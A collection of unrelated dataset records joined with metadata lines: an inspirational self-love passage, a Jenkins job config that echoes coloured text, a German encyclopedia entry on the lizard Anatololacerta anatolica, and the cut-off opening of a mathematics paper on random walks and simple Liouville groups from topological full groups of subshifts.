Let your love shine through and inspire all those who seek self love as well. You have Divine gifts, and a glorious task at hand – a purpose which is showing others the way. You have only to model it by becoming it. The time for you to become is now. Let go of who and what have moved on, and allow yourself the love and joy and freedom that your Heart longs for. The love you shared with the ones who have moved on is eternal. It will always be, because it was. You can let them go without losing the love. But give yourself the love you deserve. Open to receive it. Start by giving it to your inner child. Who probably really loves bananas. | {
"redpajama_set_name": "RedPajamaC4"
} | 7,443 |
<?xml version='1.0' encoding='UTF-8'?>
<project>
<actions/>
<description></description>
<keepDependencies>false</keepDependencies>
<properties/>
<scm class="hudson.scm.NullSCM"/>
<canRoam>true</canRoam>
<disabled>false</disabled>
<blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
<blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
<triggers/>
<concurrentBuild>false</concurrentBuild>
<builders>
<hudson.tasks.Shell>
<command>#!/bin/bash
echo -e "\e[1;31;42m Using docker to demo is awful, v5 \e[0m"
echo see more in http://misc.flogisoft.com/bash/tip_colors_and_formatting
</command>
</hudson.tasks.Shell>
</builders>
<publishers/>
<buildWrappers>
<hudson.plugins.ansicolor.AnsiColorBuildWrapper plugin="ansicolor@0.4.0">
<colorMapName>xterm</colorMapName>
</hudson.plugins.ansicolor.AnsiColorBuildWrapper>
<jenkins.plugins.logstash.LogstashBuildWrapper/>
</buildWrappers>
</project> | {
"redpajama_set_name": "RedPajamaGithub"
} | 8,500 |
Die Nordwestanatolische Eidechse (Anatololacerta anatolica) gehört zu den Echten Eidechsen.
Merkmale
Die Nordwestanatolische Eidechse ist eine kräftig gebaute und mittelgroße Eidechse. Sie erreicht eine Gesamtlänge bis ungefähr 24 Zentimeter. Der Kopf ist schmal. Die kleinen Rückenschuppen sind nicht gekielt. Die Oberseite ist bräunlich oder bräunlich-grau gefärbt. Die Flanken erscheinen dunkler als der Rücken, da sie dunkelbraune, zum Teil ähnlich einem Netzmuster miteinander verschmelzende Flecken aufweisen. Helle Flecken mit dunklem Rand können hin und wieder auf Rücken und Flanken vorhanden sein. Die Unterseite ist weißlich gefärbt und blass. Bei adulten Exemplaren ist die Kehle kräftig orange bis ziegelrot oder weißlich gefärbt. Die Kehlen von Jungtieren dagegen sind weißlich. Die Schwänze der Jungtiere sind türkisblau.
Vorkommen
Die Art kommt von Seehöhe bis in Höhenlagen von 1700 Meter NN vor. Sie besiedelt bevorzugt felsige und gut bewachsene Lebensräume. Die Nordwestanatolische Eidechse ist auch im Umfeld des Menschen wie in Gärten, Dörfern und Ruinen anzutreffen.
Lebensweise
Über die Lebensweise der Nordwestanatolischen Eidechse gibt es kaum Informationen. Die Weibchen legen im Sommer ein aus 3 bis 8 Eiern bestehendes Gelege ab.
Systematik
Es werden zwei Unterarten unterschieden:
Anatololacerta anatolica ssp. aegaea besitzt auf beiden Seiten einen hellen, breiten Längsstreifen, der vom Kopf entlang des Rumpfes an der Abgrenzung zwischen Flanken und Rücken bis hin zum Schwanz verläuft. Der Streifen kann Unterbrechungen aufweisen. Diese Unterart kommt auf der Dilek-Halbinsel in der Türkei sowie auf der griechischen Insel Samos vor.
Anatololacerta anatolica ssp. anatolica ist die Nominatform. Der Längsstreifen besteht bei ihr nur aus tropfenförmigen Flecken. Sie ist in der nördlichen Ägäis-Region in der Nordwest-Türkei anzutreffen.
Gefährdung und Schutz
Die Art wird von der IUCN als nicht gefährdet (Least Concern) eingestuft.
Belege
Literatur
Dieter Glandt: Taschenlexikon der Amphibien und Reptilien Europas. Alle Arten von den Kanarischen Inseln bis zum Ural. Quelle & Meyer, Wiebelsheim 2010, ISBN 978-3-494-01470-8.
Einzelnachweise
Weblinks
Echte Eidechsen | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 7,348 |
\section*{Appendix: some properties of entropy}
\gdef\thesection{\Alph{section}}
\setcounter{section}{1}}
\newcommand{\note}[1]{{\red [#1]}}
\theoremstyle{definition}
\newtheorem{defin}{Definition}[section]
\newtheorem*{setting}{Setting}
\newtheorem{question}[defin]{Question}
\theoremstyle{plain}
\newtheorem{thm}[defin]{Theorem}
\newtheorem{main thm}{Theorem}
\newtheorem{prop}[defin]{Proposition}
\newtheorem{fact}{Fact}[section]
\newtheorem{cor}[defin]{Corollary}
\newtheorem{lemma}[defin]{Lemma}
\theoremstyle{remark}
\newtheorem{remark}[defin]{Remark}
\title{Subshifts with slow complexity and simple groups with the Liouville property}
\author{Nicol\'as Matte Bon\thanks{Universit\'e Paris Sud; nicolas.matte.bon@ens.fr}}
\date{
May 2014}
\begin{document}
\maketitle
\abstract{We study random walk on topological full groups of subshifts, and show the existence of infinite, finitely generated, simple groups with the Liouville property. Results by Matui and Juschenko-Monod have shown that the derived subgroups of topological full groups of minimal subshifts provide the first examples of finitely generated, simple amenable groups. We show that if the (not necessarily minimal) subshift has a complexity function that grows slowly enough (e.g. linearly), then every symmetric and finitely supported probability measure on the topological full group has trivial Poisson-Furstenberg boundary. We also get explicit upper bounds for the growth of F\o lner sets.}
\section{Introduction}
In the early 50s Graham Higman gave the first example of a finitely generated, infinite simple group \cite{Higman:simplefinitelygenerated}. Later, Hall \cite{Hall}, Gorju\v{s}kin \cite{Gorjuskin}, and Schupp \cite{Schupp} showed that any countable group can be embedded in a 2-generated simple group. Thus, finitely generated simple groups can be arbitrarily ``large'' in some sense. It is considerably less understood how ``small'' can such groups be, from the point of view of their asymptotic geometry.
It follows from Gromov's theorem \cite{Gromov:polynomialgrowth} that a finitely generated simple group can not have polynomial growth, and it is an open question, due to Grigorchuk (see \cite[Problem 15]{Grigorchuk:survey}), whether it can have sub-exponential growth. Recall that groups of sub-exponential growth are amenable. Recently, Juschenko and Monod \cite{Juschenko-Monod:simpleamenable} have proven that there do exist finitely generated, simple groups that are amenable; the groups that they consider were known to be simple and finitely generated by results of Matui \cite{Matui:simple}.
We consider here a third property of groups that lies between sub-exponential growth and amenability: the Liouville property for finite-range symmetric random walks. We prove that there exist simple groups with the Liouville property.
A group equipped with a probability measure $(G,\mu)$ has \emph{the Liouville property} if the Poisson-Furstenberg boundary is trivial; equivalently, if every bounded $\mu$-harmonic function on $G$ is constant on the subgroup generated by the support of $\mu$. Here a function $f:G\to \mathbb{R}$ is said to be $\mu$-harmonic if $f*\mu=f$, where $(f*\mu)(g)=\sum_{h\in G}f(gh)\mu(h)$. If the support of $\mu$ generates $G$ the measure is said to be \emph{non-degenerate}.
When no measure is specified, we say that \emph{the group $G$ has the Liouville property} if $(G,\mu)$ has the Liouville property for \emph{every symmetric}, \emph{finitely supported} probability measure $\mu$ on $G$, including degenerate measures. Finitely generated groups with sub-exponential growth have the Liouville property (this is due to Avez \cite{Avez}), and groups with the Liouville property are amenable. More precisely, a group is amenable if, and only if, it admits a symmetric non-degenerate measure $\mu$ with trivial Poisson-Furstenberg boundary (one implication is due to Furstenberg, see \cite[Theorem 4.2]{Kaimanovich-Vershik}, the other to Kaimanovich and Vershik \cite[Theorem 4.4]{Kaimanovich-Vershik} and to Rosenblatt \cite{Rosenblatt}).
However, there are finitely generated amenable groups, such as the wreath product $\mathbb{Z}/2\mathbb{Z}\wr \mathbb{Z}^3$, that admit no \emph{finitely supported}, non-degenerate measures with trivial boundary, see Kaimanovich and Vershik \cite[Proposition 6.1]{Kaimanovich-Vershik}; on some amenable groups, a non-degenerate measure with trivial boundary might not even be chosen to have finite entropy by a result of Erschler \cite[Theorem 3.1]{Anna:Liouville}. For a recent survey on Poisson-Furstenberg boundaries of random walks on discrete groups, see \cite{Anna:ICM}.
\begin{thm}\label{T:simple Liouville}
There exist finitely generated infinite groups that are simple and have the Liouville property (for every symmetric, finitely supported probability measure). Moreover, there are uncountably many pairwise non-isomorphic such groups.
\end{thm}
Theorem \ref{T:simple Liouville} is a consequence of Theorem \ref{main} below.
The groups that we consider to prove Theorem \ref{T:simple Liouville} are a sub-class of the finitely generated simple groups discovered by Matui \cite[Theorem 4.9, Theorem 5.4]{Matui:simple} and considered by Juschenko and Monod \cite{Juschenko-Monod:simpleamenable}. They arise as the commutator subgroups of the \emph{topological full groups} of some minimal subshifts, on which we assume that the \emph{complexity} grows slowly enough (these notions are defined in Subsection \ref{S: topological full groups}). Our approach does not rely on results in \cite{Juschenko-Monod:simpleamenable} and yields a new proof of amenability of the groups that we consider. It also shows amenability of the topological full groups of a class of non-minimal subshifts with slow complexity (see Subsection \ref{S: amenability}).
\subsection{Cantor systems, subshifts, and topological full groups} \label{S: topological full groups}
Throughout the paper let $\Sigma$ denote a compact, metrizable, totally disconnected topological space, and let $\tau$ be a homeomorphism of $\Sigma$.
The \emph{topological full group} of the dynamical system $(\Sigma, \tau)$ is the group $[[\tau]]$ of homeomorphisms of $\Sigma$ that locally coincide with a power of $\tau$, namely the group of homeomorphisms $g\in\operatorname{Homeo}(\Sigma)$ such that for every $x\in \Sigma$ there exists an open neighbourhood $U$ of $x$ and an integer $k\in \mathbb{Z}$ for which $g|_U=\tau^k|_U$. In other words, $g\in\operatorname{Homeo}(\Sigma)$ belongs to $[[\tau]]$ if and only if there exists a continuous function $k_g:\Sigma\to\mathbb{Z}$, the \emph{orbit cocycle}, such that
\[\forall x\in \Sigma, \qquad g(x)=\tau^{k_g(x)}(x).\]
Recall that a topological dynamical system is said to be \emph{minimal} if every orbit is dense.
The dynamical system $(\Sigma ,\tau)$ is called a \emph{Cantor system} whenever $\Sigma$ is homeomorphic to the Cantor set; in our setting, this amounts to non-existence of isolated points in $\Sigma$.
Giordano, Putnam and Skau study in \cite{Giordano-Putnam-Skau:flipconjugacy} the topological full group of a Cantor minimal system. They show that the structure of this countable group characterizes completely the dynamics of such systems: two Cantor minimal systems $(\Sigma, \tau)$ and $(\Sigma', \tau')$ have isomorphic topological full groups if and only if $(\Sigma', \tau')$ is topologically conjugate to $(\Sigma, \tau)$ or to $(\Sigma,\tau^{-1})$ \cite[Corollary 4.4]{Giordano-Putnam-Skau:flipconjugacy}. The proof of this uses results from Boyle's thesis \cite{Boyle} on topological orbit-equivalence, see \cite[Theorem 3.2]{Boyle-Tomiyama}. In fact, also the structure of the \emph{commutator subgroup} of the topological full group of a Cantor minimal system characterizes the system in the same way; this is due to Bezuglyi and Medynets \cite[Theorem 5.2]{Bezuglyi-Medynets:flipconjugacy}.
Let $\mathcal{A}$ be a finite alphabet and endow $\mathcal{A}^\mathbb{Z}$ with the product of the discrete topology on $\mathcal{A}$. The \emph{shift} over $\mathcal{A}$ is the Cantor system $(\mathcal{A}^\mathbb{Z}, \tau)$ where $\tau$ acts on $\mathcal{A}^\mathbb{Z}$ by
$$\tau:\: \cdots x_{-3}x_{-2}x_{-1}.x_{0}x_1x_2x_3\cdots\mapsto \cdots x_{-2}x_{-1}x_{0}.x_1x_2x_3x_4\cdots.$$
A \emph{subshift} is a dynamical system $(\Sigma, \tau)$ where $\Sigma\subset \mathcal{A}^\mathbb{Z}$ is a closed subset which is invariant under the shift. A subshift is not necessarily a Cantor system, note however that a \emph{minimal} infinite subshift is automatically a Cantor system.
Matui shows in \cite{Matui:simple} that if $(\Sigma,\tau)$ is a minimal Cantor system, the \emph{commutator subgroup} $[[\tau]]'$ of the topological full group is simple (and infinite), see \cite[Theorem 4.9]{Matui:simple} and the remark above it; if moreover $(\Sigma, \tau)$ is a minimal subshift, $[[\tau]]'$ is also finitely generated \cite[Theorem 5.4]{Matui:simple}. In this case, he also proves in \cite{Matui:exponentialgrowth} that the group $[[\tau]]'$ contains free sub-semigroups and thus it has exponential growth. Juschenko and Monod \cite{Juschenko-Monod:simpleamenable} prove that for every minimal Cantor system $(\Sigma,\tau)$ the group $[[\tau]]$ is amenable; this was conjectured by Grigorchuk and Medynets \cite{Grigorchuk-Medynets:conjectureamenable}. See also Juschenko and de la Salle \cite{Juschenko-Salle:wobbling} where a part of \cite{Juschenko-Monod:simpleamenable} is generalized and simplified using recurrence of the random walk on the orbital Schreier graphs of the group. This amenability result is now part of a more general amenability criterion due to Juschenko, Nekrashevych and de la Salle \cite{Juschenko-Nekrashevych-Salle:recurrentgrupoids}.
The \emph{complexity}, or \emph{word-complexity}, of a subshift $(\Sigma,\tau)$ is the function $\rho:\mathbb{N}\rightarrow \mathbb{N}$ that counts the number of words of length $n$ in the alphabet $\mathcal{A}$ that appear as sub-words of sequences in $\Sigma$. See \cite{Complexity} for a survey on the complexity function. This function is closely related to topological entropy, as it is well known that the topological entropy of $(\Sigma, \tau)$ is given by the sub-additive limit $h_{\operatorname{top}}(\tau)=\lim_{n\to \infty}\frac{1}{n}\log\rho(n)$. However we do not need the notion of topological entropy here.
Our main result concerns another notion of entropy: the asymptotic entropy of random walks on $[[\tau]]$. Given a probability measure $\mu$ on a countable group $G$, its \emph{entropy} $H(\mu)$ is the quantity $H(\mu)=-\sum_{g\in G} \mu(g)\log\mu(g)\in[0,+\infty]$. The \emph{random walk entropy} (also called \emph{asymptotic} or \emph{Avez entropy}) is the limit
$$h(\mu)=\lim_{n\to\infty}\frac{1}{n}H(\mu^{*n}),$$
where $\mu^{*n}$ is the $n$-th convolution power of $\mu$. The limit exists by sub-additivity. The entropy criterion of Kaimanovich and Vershik \cite[Theorem 1.1]{Kaimanovich-Vershik} and Derrienic \cite{Derrienic} states that if $H(\mu)<\infty$ (e.g.\ if $\mu$ is finitely supported) the Liouville property for $(G,\mu)$ is equivalent to $h(\mu)=0$.
\begin{thm}\label{main}
Let $(\Sigma, \tau)$ be a subshift without isolated periodic points. Suppose that the complexity $\rho$ of $\Sigma$ satisfies
\[\lim_{n\to\infty}(\frac{\log n}{n})^2\rho(n)=0.\]
Then for every finitely supported symmetric probability measure $\mu$ on $[[\tau]]$ the random walk entropy vanishes.
More precisely, there exists a constant $C>0$ such that for every $n\geq 1$
\[H(\mu^{*n})\leq C\rho(\lceil C\sqrt{n\log n}\rceil )\log n.\]
\end{thm}
\begin{remark} \begin{enumerate}
\item Theorem \ref{main} applies in particular if the complexity grows linearly, i.e.\ if there exist a constant $C>0$ such that $\rho(n)\leq Cn$. More generally, it applies if there exist $\alpha\in [1,2)$ and $C>0$ such that $\rho(n)\leq Cn^\alpha$. This includes some well-studied classes of minimal subshifts, see Section \ref{S: examples}.
\item The measure $\mu$ in the statement is not assumed to be non-degenerate; in fact the whole topological full group is not necessarily finitely generated (cf.\ \cite[Corollary 5.5]{Matui:simple}).
\end{enumerate}
\end{remark}
\begin{remark}Theorem \ref{main} implies Theorem \ref{T:simple Liouville}: a subshift $(\Sigma, \tau)$ satisfying the assumption in the statement can be chosen to be minimal, and in this case the commutator subgroup $[[\tau]]'$ is simple and finitely generated by the results of Matui \cite[Theorem 4.9, Theorem 5.4]{Matui:simple}.
For example, a class of minimal subshifts satisfying the assumptions of Theorem \ref{main} is given by the \emph{Sturmian subshifts} \cite{Morse-Hedlund} obtained by coding irrational rotations of the circle (we recall this construction in Subsection \ref{S: irrational rotations}). Sturmian subshifts are minimal and have complexity $\rho(n)=n+1$, see \cite[Section 2.1.2]{Sturmian}. Moreover, a spectral argument shows that distinct rotations give rise to non-conjugate Sturmian subshifts. By the results of Giordano, Putnam and Skau \cite[Corollary 4.4]{Giordano-Putnam-Skau:flipconjugacy}, and Bezuglyi and Medynets \cite[Theorem 5.2]{Bezuglyi-Medynets:flipconjugacy}, this provides uncountably many examples of finitely generated simple Liouville groups, as claimed in Theorem \ref{T:simple Liouville}.
\end{remark}
\subsection{Application to amenability and F\o lner function}\label{S: amenability}
Theorem \ref{main} also implies that the topological full group $[[\tau]]$ is amenable, since amenability of a group is equivalent to amenability of its finitely generated subgroups. This shows that the topological full group is amenable even without the assumption that $(\Sigma, \tau)$ is {minimal}, made in \cite{Juschenko-Monod:simpleamenable}, if we assume instead that the complexity of $\Sigma$ grows slowly enough.
\begin{cor}\label{C: amenable}
Under the assumptions of Theorem \ref{main}, the group $[[\tau]]$ is amenable.
\end{cor}
Note that some assumptions on the subshift $(\Sigma, \tau)$ are needed to ensure that the group $[[\tau]]$ is amenable: a construction due to van Douwen \cite{Douwen} shows that there exist non-minimal subshifts $(\Sigma, \tau)$ such that $[[\tau]]$ contains non-abelian free subgroups, see also \cite[Proposition 3.7.1]{Cornulier:Bourbaki} for a more recent exposition. Van Douwen's construction yields subshifts with positive topological entropy. As far as we know, there is no known example of a Cantor system $(\Sigma, \tau)$ having zero topological entropy, and such that $[[\tau]]$ is non-amenable.
\begin{question}
What are the slowest possible growth rates for the complexity of a subshift $(\Sigma, \tau)$, having the property that $[[\tau]]$ contains non-abelian free subgroups (respectively is non-amenable, respectively is non-Liouville)?
\end{question}
The upper bound for the entropy in Theorem \ref{main} also provides lower bounds for the return probabilities, and thus upper bounds for the growth of F\o lner sets of finitely generated subgroups of $[[\tau]]$; these estimates are new even when $(\Sigma,\tau)$ is minimal. Recall that the \emph{F\o lner function} of a finitely generated amenable group $G$ equipped with a finite symmetric generating set $S$ is the function $\operatorname{F\o l}_{G,S}:\mathbb{N}\to\mathbb{N}$ given by
\[\operatorname{F\o l}_{G,S}(n)=\min\{ |F|\:: F\subset G \:, \:|\partial_SF|\leq \frac{1}{n}|F|\},\]
where $\partial_S F=\{g\in F\::\:\exists s\in S,\:sg\notin F\}$. In the setting of minimal subshifts, de Cornulier \cite[Question 1]{Cornulier:Bourbaki} raises the question to to estimate the return probabilities and the F\o lner function of finitely generated subgroups of $[[\tau]]$, and to determine if they depend on the choice of $(\Sigma, \tau)$. The next corollary is a step in this direction.
\begin{cor}\label{C: return probability}\label{C: Folner}
\begin{enumerate}
\item Under the assumptions of Theorem \ref{main}, for every symmetric and finitely supported probability measure on $[[\tau]]$, there exists $C_1>0$ such that the return probabilities satisfy for every $n \geq 1$
\[\mu^{*2n}(e)\geq \frac{1}{C_1}\exp(-C_1\rho(\lceil C_1\sqrt{n\log n}\rceil)\log n).\]
\item Suppose moreover that there exists $C>0$ and $\alpha\in [1,2)$ such that $\rho(n)\leq Cn^\alpha$. Then for any finitely generated subgroup $G$ of $[[\tau]]$, every finite symmetric generating set $S$ of $G$ and for every $\varepsilon >0$, there exists $C_2>0$ such that for every $n\geq 1$
\[\operatorname{F\o l}_{G,S}(n)\leq C_2\exp(C_2 n^{2\alpha/(2-\alpha)+\varepsilon}).\]
\end{enumerate}
\end{cor}
Details on the proof will be given in Section \ref{S: proof}, after the proof of Theorem \ref{main}
\begin{remark}
The stronger assumption on $\rho$ in the second part of Corollary \ref{C: Folner} simplifies the statement but it is not essential: the lower bound on the return probabilities always implies an upper bound on the F\o lner function, see for instance \cite[Corollary 14.5]{Woess:book} or \cite{Pittet-Saloff:survey}.
\end{remark}
In this context, we shall mention Bartholdi and Vir\'ag's proof of amenability of the Basilica group \cite{Bartholdi-Virag:amenability}, in which the Liouville property was (implicitly) used for the first time as a tool, to prove amenability and estimate return probabilities. Their ideas have been generalized by several authors \cite{Kaimanovich:munchaussen, Bartholdi-Kaimanovich-Nekrashevych, Brieussel:nonuniformgrowth, Amir-Angel-Virag:linear, Liouvilletrees}, who prove amenability and the Liouville property for several classes of groups acting on rooted trees. The groups that we consider here do not act on rooted trees and we need a different method.
\subsection{Outline of the proof and structure of the paper}
Let us give an outline of the proof of Theorem \ref{main}.
Given any subshift $(\Sigma,\tau)$, and a finitely generated subgroup $G=\langle S\rangle$ of $[[\tau]]$, the orbital Schreier graph of any non-periodic point $x\in \Sigma$ admits a natural Lipschitz embedding into $\mathbb{Z}$. This embedding is given by $gx\mapsto k_g(x)$, where $k_g$ is the orbit cocycle. Thus, if $g_n$ is the left random walk on $G$, $k_{g_n}(x)$ performs a random walk on a graph with vertex set $\mathbb{Z}$ and edges connecting integers with bounded difference. This fact, using some general Gaussian estimates due to Hebisch and Saloff-Coste \cite{Hebisch-Saloff}, implies that the maximal displacement up to time $n$ of the orbit cocycle $k_{g_n}(x)$ has typical size $\sqrt{n}$ and the tail of its distribution admits a Gaussian upper bound. The key observation is to deduce from this that the cocycle $k_{g_n}$ at time $n$ is with overwhelming probability constant on a given {cylinder subset} of $\Sigma$, provided that the number of letters defining the cylinder is big enough compared to $\sqrt{n}$. Our assumption on the complexity of $\Sigma$ tells us that there are few cylinders, and implies that $g_n$ belongs with high probability to a finite subset $A_n$ of $G$ which has sub-exponentially growing cardinality. This is equivalent to having zero random walk entropy.\\
\emph{Structure of the paper.} Section 2 consists of the proof of a preliminary fact, Proposition \ref{estimate max}, which is essentially an application of the Gaussian estimates in \cite{Hebisch-Saloff}. Section 3, which is the core of the paper, contains the proof of Theorem \ref{main}. Section 4 discusses examples of subshifts to which Theorem \ref{main} applies. Finally we recall in the Appendix some well-known properties of entropy.
\subsubsection*{Acknowledgements}
The question whether topological full groups provide examples of simple Liouville groups was raised during communications with K.\ Juschenko, V.\ Nekrashevych and M.\ de la Salle, to whom I am also grateful for several discussions about their recent paper \cite{Juschenko-Nekrashevych-Salle:recurrentgrupoids} and about topological full groups. I would also like to thank K.\ Juschenko for careful reading and for useful comments; V.\ Nekrashevych for bringing to my attention the group described in Subsection \ref{fibonacci}, which I found enlightening; and M.\ de la Salle for inviting me at UMPA in November 2013.
In a preliminary version, Theorem \ref{main} was stated assuming minimality of $(\Sigma, \tau)$ and this was not needed in the proof, I thank A. Erschler and K. Juschenko who suggested to eliminate this assumption.
In addition, I am grateful to V. Berth\'e for pointing out several examples of application of Theorem \ref{main}; to Y.\ de Cornulier for many useful remarks, to E. Fink and A. Stewart for reading a first version, to L. Saloff-Coste for pointing out \cite{Coulhon-Saloff:lineargrowth}, to R.\ Tessera for an interesting conversation on topological entropy.
I am especially grateful to my supervisor A. Erschler for many valuable discussions. Finally, I thank an anonymous referee for several useful comments and for suggesting Remark \ref{density non-periodic}. This work is partially supported by the ERC starting grant GA 257110 ``RaWG''.
\section{Preliminaries}\label{S: preliminaries}
The aim of this section is to prove Proposition \ref{estimate max}, that we will use in next section to analyse the random walk on the Schreier graphs of the action of $G$ on $\Sigma$. These graphs turn out to be one of the simplest kind of infinite graphs: they have linear growth and admit a natural Lipschitz embedding into $\mathbb{Z}$. Random walks on graphs of linear growth are very well understood. Upper bounds for the transition probabilities can be deduced from a general result due to Hebisch and Saloff-Coste \cite{Hebisch-Saloff}, and a matching lower bound holds for graphs of linear growth as it is shown by Coulhon and Saloff-Coste in \cite{Coulhon-Saloff:lineargrowth}. The upper bound will be sufficient to our purpose, we recall it below.
Let $\Gamma$ be a graph of bounded degree. A Markov kernel $p(x,y)$ on the vertex set of $\Gamma$ is said to be \emph{nearest neighbour} if it is symmetric and $p(x,y)=0$ unless $x,y$ are neighbours in $\Gamma$. We make the standing assumption that $p$ is $\delta$-\emph{uniformly elliptic}, i.e. there exists a uniform constant $\delta>0$ such that
\begin{equation}\label{p bounded below} \forall x,y\text{ which are neighbours in $\Gamma$ } \qquad p(x,y)\geq \delta.\end{equation}
Recall that if $\Gamma$ is infinite and connected and $p$ is $\delta$-uniformly elliptic, by \cite[Corollary 14.6]{Woess:book} there exists a constant $C_1>0$ such that for every $n\geq 1$
$$\sup_{x,y}p_n(x,y)\leq C_1\frac{1}{\sqrt{n}}.$$
Moreover the constant $C_1$ above only depends on $\delta$. This last sentence follows easily by inspection of the proof of \cite[Corollary 14.6]{Woess:book} after observing that, with the notations defined at \cite[p.\ 39]{Woess:book}, every non-empty finite set $A$ satisfies $a(\partial A)\geq \delta$, since $\Gamma$ is infinite and connected and thus $\partial A$ contains at least one edge.
By \cite[Theorem 2.1]{Hebisch-Saloff} the above inequality can be improved to obtain the following.
\begin{prop}[Hebisch and Saloff-Coste, Corollary of Theorem 2.1 in \cite{Hebisch-Saloff}]\label{T: Hebisch-Saloff}
Let $\Gamma$ be an infinite connected graph, and let $p$ be a symmetric nearest neighbour Markov kernel on $\Gamma$. Suppose also that $p$ is $\delta$-uniformly elliptic for some $\delta>0$.
Then there exist positive constants $C_1,D$ such that for every $n\geq 1$ and every $x,y$ vertices of $\Gamma$
\begin{equation}\label{Gaussian estimate}
p_n(x,y)\leq C_1\frac{1}{\sqrt{n}}\exp(-\frac{\operatorname{dist}_\Gamma(x,y)^2}{Dn}),\end{equation}
where $\operatorname{dist}_\Gamma$ is the graph distance on $\Gamma$. The constants $C_1$ and $D$ only depend on the uniform ellipticity constant $\delta$.
\end{prop}
\begin{remark}\label{R: Gaussian estimates}
Let $d$ be another distance on $\Gamma$
and suppose that there is $K>0$ such that $d\leq K\operatorname{dist}_\Gamma$. Then the same estimate holds if $\operatorname{dist}_\Gamma$ is replaced by $d$, with possibly different constants $C_1, D$, where $C_1$ only depends on $\delta$ and $D$ depends on $\delta$ and on the Lipschitz constant $K$.
\end{remark}
Until the end of the section, we assume to be in the following setting.
\begin{setting}\label{assumption section 2}
Let $K>0$ and let $\Gamma$ be a graph which is $K$-Lipschitz embedded into $\mathbb{Z}$. In other words, the vertex set of $\Gamma$ is identified with a subset of $\mathbb{Z}$, and whenever $x,y\in \mathbb{Z}$ are the endpoints of an edge of $\Gamma$ we have $|x-y|\leq K$. Suppose also that 0 belongs to the vertex set of $\Gamma$. We shall consider two distances on $\Gamma$, the graph distance and the distance induced by $\mathbb{Z}$.
Suppose that $\Gamma$ is endowed with a symmetric nearest neighbour Markov kernel $p$ that is $\delta$-uniformly elliptic. Let $(X_n)_{n\in \mathbb{N}}$ be a Markov chain with kernel $p$ started at 0. We wish to study
\[\max_{j\leq n}|X_j|,\]
where $|\cdot|$ is the absolute value of $\mathbb{Z}$.
\end{setting}
The following Proposition will be used in next section.
\begin{prop}\label{estimate max}
Let $\Gamma$ be a graph $K$-Lipschitz embedded into $\mathbb{Z}$, endowed with a symmetric nearest neighbour Markov kernel $p$ which is $\delta$-uniformly elliptic for some $\delta>0$. There exists positive real constants $C,D, a_0$ such that for every $a\geq a_0$ and every $n\geq 1$
\[\P(\max_{j\leq n}|X_j|\geq a\sqrt{n})\leq C \exp({-\frac{(a-a_0)^2}{D}}),\]
where $X_n$ is the Markov chain with kernel $p$ started at 0, and $|\cdot|$ is the absolute value of $\mathbb{Z}$. The constants $C,D,a_0$ only depend on the Lipschitz constant $K$ and on the constant $\delta$.
\end{prop}
We stress that the uniform control on the constants in Proposition \ref{estimate max} is crucial for the application that we need.
The proof relies on Proposition \ref{T: Hebisch-Saloff} and on the following modification of the classical ``reflection principle'' for the random walk on $\mathbb{Z}$. The argument of the proof is standard.
\begin{lemma}\label{reflection principle}
With the same assumptions as in Proposition \ref{estimate max}, suppose moreover that $\Gamma$ is infinite. Then there exists a constant $b_0>0$, only depending on $K, \delta$, such that for every $x>0$ and every $n\in\mathbb{N}$
$$\mathbb{P}(\max_{j\leq n}|X_j|\geq x)\leq 2\mathbb{P}(|X_n|\geq x-
b_0\sqrt{n}).$$
\end{lemma}
\begin{proof}
Since we assume that the graph is infinite, Proposition \ref{T: Hebisch-Saloff} applies. A straightforward computation using (\ref{Gaussian estimate}) with respect to the distance of $\mathbb{Z}$ (see Remark \ref{R: Gaussian estimates}) shows that for every $n\geq 1$ and $b\geq 2$ (to ensure that $b-1/\sqrt{n}\geq 1$) we have
\begin{equation}\label{Gaussian tail}
\P(|X_n|\geq b\sqrt{n})\leq 2C_1\int_{b-\frac{1}{\sqrt{n}}}^\infty e^{-\frac{t^2}{D}}dt\leq C_2e^{-\frac{(b-1/\sqrt{n})^2}{D}}\leq C_2e^{-\frac{(b-1)^2}{D}}, \end{equation}
where $C_1, D$ are the constants from Proposition \ref{T: Hebisch-Saloff}, and $C_2=C_1D$.
For $y\in \mathbb{Z}$, write $\P_y$ for the law of $(X_n)_{n\in \mathbb{N}}$ started at $X_0=y$, while $\P$ denotes $\P_0$.
Obviously (\ref{Gaussian tail}) holds unchanged if $\P$ is replaced by $\P_y$ and $|X_n|$ by $|X_n-y|$. In particular there is $b_0>0$, that only depends on $K,\delta$, such that for every $y\in\mathbb{Z}$ and every $n\in \mathbb{N}$ we have
\begin{equation}\mathbb{P}_{y}(|X_n-y|>b_0\sqrt{n})\leq \frac{1}{2},\label{choice of b_0}\end{equation} this will be $b_0$ in the statement.
Set $S_n=\max_{j\leq n}|X_j|$. Consider the stopping time $T_x=\inf\{n\geq 0:\: |X_n|\geq x\}$, and observe that the event $\{S_n\geq x\}$ is equal to $\{T_x\leq n\}$. We have
\begin{align*}\P(S_n\geq x)=\P(T_x\leq n)&=\\
\P(T_x\leq n,\: |X_n|\geq x-b_0\sqrt{n})&+\P(T_x\leq n, \: |X_n|< x-b_0\sqrt{n})\leq\\
\P(|X_n|\geq x-b_0\sqrt{n})&+\P(T_x\leq n, \: |X_n-X_{T_x}|>b_0\sqrt{n}).\end{align*}
To bound the second summand, write
\begin{align*}\P(T_x\leq n,\:|X_n-X_{T_x}|> b_0\sqrt{n})=\sum_{j\leq n}\P(T_x=j, |X_{n}-X_j|> b_0\sqrt{n})=\\
\sum_{j\leq n}\sum_{y\in\mathbb{Z}}\P(T_x=j,\:X_j=y)\P_y(|X_{n-j}-y|>b_0\sqrt{n})\leq\\
\frac{1}{2}\sum_{j\leq n}\sum_{y\in\mathbb{Z}}\P(T_x=j,\: X_j=y)=
\frac{1}{2}\P(T_x \leq n)=\frac{1}{2}\P(S_n\geq x),\end{align*}
where equality between the first and second line follows from Markov property, and inequality between the second and third line holds since we chose $b_0$ verifying (\ref{choice of b_0}). These two computations together imply that
\[\P(S_n\geq x)\leq \P(X_n\geq x-b_0\sqrt{n})+\frac{1}{2}\P(S_n\geq x),\]
which is a rephrasing of the desired inequality. \qedhere
\end{proof}
\begin{remark}
